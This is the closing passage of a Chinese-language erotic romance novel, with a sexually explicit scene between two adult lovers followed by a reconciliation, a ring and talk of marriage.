    「然後……」突然放開手,闕雲岫走至一旁撿起手銬,將南宮燁的手與自己的銬在一起後,又將手伸向他堅挺處,輕揉慢拈,「讓你再也無法像以前一樣胡作非為……」


    「你別逼我,夜兒……」倏地睜開雙眼,南宮燁的頰邊滲出了汗滴,「你別逼我!」


    「我逼你什麼了……」將唇俯至南宮燁的耳畔,闕雲岫吐氣如蘭的輕輕說著,「現在,你……啊……」


    一聲驚呼,因為闕雲岫發現南宮燁竟粗魯地拉開她的手,一把將她的右腿架在他的腰上!


    「我說過你別逼我,夜兒,」南宮燁用另一隻手緊緊地握住闕雲岫如風中細柳的柔美腰肢,「我無法忍受的!」


    「你要忍受什麼呢……」將自己半露的酥胸輕貼在那個緊繃的胸膛上,闕雲岫故意用乳尖在他身上來回地摩挲著,「我又逼你什麼了,你說……」


    「你……」望著闕雲岫杏眼微瞇的撩人眼神,南宮燁再忍不住地往上一頂,將自己的堅挺整個刺入她微濕的花徑之中,然後低吼了一聲,「逼我要你!」


    「啊呀……」當那堅硬又火熱的堅挺,那樣直接且無保留地貫穿了她的花徑後,闕雲岫無助地低聲吟哦著,「你……怎麼……」


    是的,她怎麼也沒想到南宮燁竟會如此快、如此徹底地要了她!


    她以為他還克制得住,而她那許久沒經過歡愛的花徑,也在他整個侵入後,彷彿第一次被人拜訪似的疼痛了起來……


    可闕雲岫的心中卻是欣喜的,為了這個男人終於再度因她而失控……


    「弄疼你了吧!」聽著那聲夾雜痛苦與愉悅的嬌啼,南宮燁動也不敢動地將自己埋在闕雲岫體內,低咒了一聲,「該死的,你不該挑逗我的!」


    不敢動,真的不敢動,所以南宮燁只能忍住心中想狠狠愛她的慾望,感受著、隱忍著闕雲岫那暖熱緊窒的花徑與他結合的絕佳快感……


    「我……」睫毛上輕沾著淚水,闕雲岫羞紅了雙頰,感受著他在自己體內愈來愈大的趨勢、以及花徑與他緊密相合的充實親密感,「我……沒有……挑逗你……」


    「還沒有?」聲音整個都瘖啞了,南宮燁輕撫著闕雲岫雪白的嬌臀,發現她竟微微地在顫抖,「你挑逗得我連讓你有心理準備都沒有就直接要了你。」


    「燁……」發現南宮燁突然將堅挺撤出,闕雲岫悵然若失的瞅著他,身下一片空虛,「燁……」


    「對不起,夜兒,」望著闕雲岫嬌弱的模樣,南宮燁一陣輕笑,然後輕拈著她的玫瑰色乳尖,並用自己的唇辦輕點著她的唇,「很痛吧……」


    「燁……」吐氣如蘭,闕雲岫感覺到南宮燁的大手緩緩地剝除了她身上的所有衣物,然後慢慢地往下移動,卻又一下子攫住她濕潤的花珠,輕輕地搓揉了起來,「啊……」


    「怎麼了,我的小野貓?」感覺著闕雲岫身下的蜜汁都流到自己的大腿上了,南宮燁將自己火熱的堅挺在她的花口輕滑著,而手指,則用力地撐大了她身下的花辦。


    「我……啊……」整個身子像是被火灼過一般,在南宮燁有意及嫻熟的逗弄下,闕雲岫幾乎要崩潰了,她的花徑因渴望及需求變得好痛好痛,讓她只能含淚望著身前的男人,「燁……要我……」


    「怎麼要你?」輕輕地將堅挺往她花徑中一滑,又一撤,再一滑,又一撤,南宮燁聽著闕雲岫那聲聲出自心底的嬌喃與幾乎不再隱藏的渴望,輕輕問道,「說啊。」


    「你……啊……」心中是那樣的羞赧,可闕雲岫望著南宮燁那邪肆的笑容,最終羞不可抑的輕啟紅唇,「要你……穿透我……」


    「我沒聽清楚,」用唇輕點著闕雲岫的唇辦,南宮燁的雙手輕掐著她的纖腰,「夜兒,你再大聲些。」


    「你……」又羞又氣的望著眼前的男人,闕雲岫最終眼眸一閉,讓熱火在臉上燒灼著,「佔有……我……燁……求你……」


    「好的。」望著闕雲岫又羞又嬌的性感神情,南宮燁再不考慮地將自己的堅挺刺入了她早已敏感至極的花徑中,然後瘋狂的律動了起來。


    「唔……燁啊……」南宮燁那種狂風襲花似的佔有方式,令闕雲岫整個身子都酥軟了,口中不住的嬌啼著,「慢些……」


    「我慢不下來,」望著闕雲岫的渾圓雙乳在他強力撞擊下漾出一道誘惑的乳波,南宮燁低吼著,「你那樣誘人、那樣令人銷魂,我怎麼慢得下來!」


    「啊呀……燁啊……」感覺自己的身子愈來愈緊繃,而身下那股欲爆發而未爆發的快感不斷地攀升,闕雲岫仰起頭瘋狂的淫啼著,「我……愛我啊……」


    「要來了嗎?」望著闕雲岫即將抵達高潮時那絕美又痛苦的模樣,南宮燁揮著汗不斷地衝撞著她敏感的花心,「告訴我。」


    「嗯……」一陣驚天的狂喜隨著南宮燁的瘋狂律動,在闕雲岫體內整個爆發了,那股極樂的快感令她的思緒整個空白,只能配合著他的律動瘋狂地扭動著腰肢,大聲的尖叫著,「啊呀……」


    「還有嗎?」聽著那聲聲浪啼迴盪在空氣中,南宮燁將自己的堅挺整個抽出,任額上的汗整個灑落在闕雲岫豐滿的雙乳上,「還要嗎?」


    「呀啊……燁……」無助的搖著頭,闕雲岫低泣了起來,感受著那體內依然存在的強烈渴求,「不要……這樣……折磨我……」


    「不要哪樣?」再度將堅挺刺入,不疾不徐的律動著,南宮燁在闕雲岫花徑的陣陣痙攣與緊縮之中也已到達了崩潰邊緣,「說!我就要聽你說,聽你這個冰山美女說出那些放肆的字眼!」


    「嗚……」難耐的慾火襲上了闕雲岫的雙眸,令她再也無法克制的弓起身子,渴求著他的深入與衝撞,「燁……人家……」


    「人家怎麼了?」將堅挺又一次的抽出,南宮燁倏地將闕雲岫轉過身去,輕拍著她的雪臀,然後將緊繃的堅挺一次又一次地刺入她的花徑中。


    「呀啊……人家……又要……高潮了……」放聲嬌呼了起來,闕雲岫感受著南宮燁在自己體內的火熱,以及蜜汁流下腿際的冰涼淫浪感,「啊……你弄得……人家……好難受……」


    「是舒服還是難受?」再不克制了,南宮燁放任自己在闕雲岫的體內馳聘著,「大聲說出來,否則我不給你!」


    「好……舒服……好……刺激……」一陣又一陣的快感,令闕雲岫幾乎昏厥了,她全身虛軟、四肢無力的感受著南宮燁最終的釋放,然後在熱流射入體內的那一瞬間,又一次的抵達情慾之巔,「啊呀……燁……我受不住了……」


    「你今天好浪啊……夜兒……」將自己的堅挺埋在闕雲岫的體內,南宮燁輕輕地將她抱在懷中,意猶未盡的說著,「你浪起來的模樣,簡直令我瘋狂……」


    輕喘著被南宮燁摟在懷中,闕雲岫緊咬著下唇,低垂下眼,一句話也不說。


    「夜兒,看你叫得那樣不顧一切,我還是不錯的吧。」輕輕地將闕雲岫的俏臉抬起,南宮燁滿足的繼續說著。


    「你好討厭……」淚水,在闕雲岫的眼眶中緩緩凝結,最後化為兩串淚滴由她的臉頰滑下,「好討厭……」


    他怎麼可以這樣?竟讓她變成了那樣放蕩的女子!


    太羞人了……


    「生氣了?」望著那不斷滴落的淚珠,南宮燁手足無措,緊緊的抱住闕雲岫,不住的道歉,「對不起、對不起,我……」


    「討厭你……」見到這個天塌下來都面不改色的男子竟在她的淚滴之下化成繞指柔,闕雲岫心中甜蜜之至,但口中,卻依然嬌嗔的低語。


    「可我卻愛你。」輕輕地歎著氣,南宮燁一次又一次的說著,「那樣瘋狂的愛你,愛得可以不要我的生命,愛得可以……」


    「不許你胡說,」用手輕掩住南宮燁的唇,闕雲岫依然低垂螓首,輕輕問道,「你為何不早些來找我?是不是今天若我沒有恰好出現在那裡,你便永遠不尋我了?」


    說完這句話後,闕雲岫突然發現自己的身子被人放開,那個溫暖的懷抱離去了!


    心中一驚,闕雲岫慌亂地抬起頭。


    「夜兒……」但不到一會兒,南宮燁又回來了,再度將闕雲岫摟至懷中。


    「嗯?」闕雲岫倚在南宮燁的懷中輕聲呢喃著,然後發現自己的右手無名指上多了一個東西。


    將手舉到眼前,闕雲岫傻傻地望著那枚小小的、閃爍著銀光的戒指,淚水再度模糊了她的雙眼。


    「我用這幾個月的薪水買的,本來還想再多攢幾個月的,可是我再等下下去了,所以才會寄那張支票給你,讓你今天到銀行去,」輕輕的說著,在沒有得到她的任何響應後,南宮燁的俊臉有些燒紅及緊張,「便宜貨,比不上別人可以給你的,要是以前,我可以買天下最好的給你……」


    「這就是你一直不來見我的原因?」望著手上的小碎鑽戒指,闕雲岫抬起頭望著那個一向懶散自若,如今竟一臉侷促的男人。


    「我希望能做出一些成績之後再去見你,因為我希望配得上你夜影女俠的男人,也是一個頂天立地的男人,更何況,我不知道你是否……」將眼眸瞥向一旁,南宮燁心跳如擂鼓,「你要是不喜歡……」


    「我喜歡,」爬起身緊緊摟住南宮燁的頸項,闕雲岫再忍不住地低泣起來,「我好喜歡……」


    是的,她怎能不喜歡?


    雖然這枚戒指不那麼名貴、不那麼高價,但這卻是南宮燁買給她的,用他正正當當掙來的錢買給她的……


    「喜歡就好。」滿足的吁了一口氣,南宮燁輕吻著闕雲岫的臉頰,「喜歡就好……」


    依偎在南宮燁的懷中許久許久之後,闕雲岫的臉突然又嫣紅了,她輕輕的說著,「你……什麼時候娶我?」


    「夜兒,你……」又驚又喜的望著闕雲岫嬌羞的神態,南宮燁忍不住開懷地笑了起來。


    「不娶就算了……」闕雲岫一個回身,突然間,她的眼眸又瞪大了,紅唇逸出一聲令人骨頭都會發酥的嬌啼,「啊……」


    「想走?你今天哪兒也去不了!」再一次將自己的堅挺刺入那依舊濕潤的花徑中,南宮燁狠狠地貫穿著她,「除非你說出我想聽的話,否則今夜你休想離開我的身旁!」


    「不要了嘛……」雙乳是那樣的脹痛,而望著手中的銀光,闕雲岫終於任埋藏在心中許久的愛意由口中流洩而出。「啊……燁……我……愛你……嘛……」


    是啊,她怎能不愛?


    怎能不愛這個終於浪子回頭,願意給自己一個機會去面對陽光,並處處為她著想、保護她,讓她無法不全心去愛的……蒼狼……


    《全書完》